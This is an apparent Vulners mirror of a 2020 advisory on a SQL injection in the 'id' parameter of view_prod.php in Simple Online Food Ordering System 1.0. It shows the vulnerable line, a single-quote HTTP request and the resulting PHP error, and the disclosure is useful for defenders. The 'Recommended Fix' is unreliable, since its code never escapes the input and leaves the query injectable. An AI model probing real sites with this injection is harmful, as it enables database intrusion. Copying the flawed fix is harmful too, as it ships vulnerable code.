Lucene search
K

Simple Online Food Ordering System 1.0 SQL Injection

🗓️ 24 Sep 2020 00:00:00Reported by Eren SimsekType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 515 Views

Simple Online Food Ordering System 1.0 SQL Injection in 'view_prod.php' fil

Code
`# Exploit Title: Simple Online Food Ordering System 1.0 - 'id' SQL Injection (Unauthenticated)  
# Google Dork: N/A  
# Date: 2020-09-22  
# Exploit Author: Eren 'Aporlorxl23' Şimşek  
# Vendor Homepage: https://www.sourcecodester.com/php/14460/simple-online-food-ordering-system-using-phpmysql.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/simple-online-food-ordering-system-using-php.zip  
# Version: 1.0  
# Tested on: Linux - XAMPP Server  
# CVE : N/A  
  
# Vulnerable Source Code:  
# /view_prod.php  
# [3] $qry = $conn->query("SELECT * FROM product_list where id =  
".$_GET['id'])->fetch_array();  
  
# PoC:  
  
# Request:  
  
GET /view_prod.php?id=' HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0  
Accept: */*  
Accept-Language: tr,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Connection: close  
  
# Response:  
  
HTTP/1.1 200 OK  
Date: Tue, 22 Sep 2020 20:44:48 GMT  
Server: Apache/2.4.43 (Unix) OpenSSL/1.1.1g PHP/7.4.7 mod_perl/2.0.11  
Perl/v5.30.3  
X-Powered-By: PHP/7.4.7  
Content-Length: 234  
Connection: close  
Content-Type: text/html; charset=UTF-8  
  
<br />  
<b>Fatal error</b>: Uncaught Error: Call to a member function  
fetch_array() on bool in /opt/lampp/htdocs/view_prod.php:3  
Stack trace:  
#0 {main}  
thrown in <b>/opt/lampp/htdocs/view_prod.php</b> on line <b>3</b><br />  
  
# As You Can See Here PHP Fatal Error Because  
# $qry = $conn->query("SELECT * FROM product_list where id =  
"')->fetch_array();  
# id Value ' This is Wrong Syntax.  
  
# Recommended Fix:  
  
You Will Use `mysqli_real_escape_string` On id . And query Will Same With :  
$qry = $conn->query('SELECT * FROM product_list where id  
="$_GET['id']"')->fetch_array();  
Because Here Not Used "" This is Imported.  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Sep 2020 00:00Current
0.5Low risk
Vulners AI Score0.5
515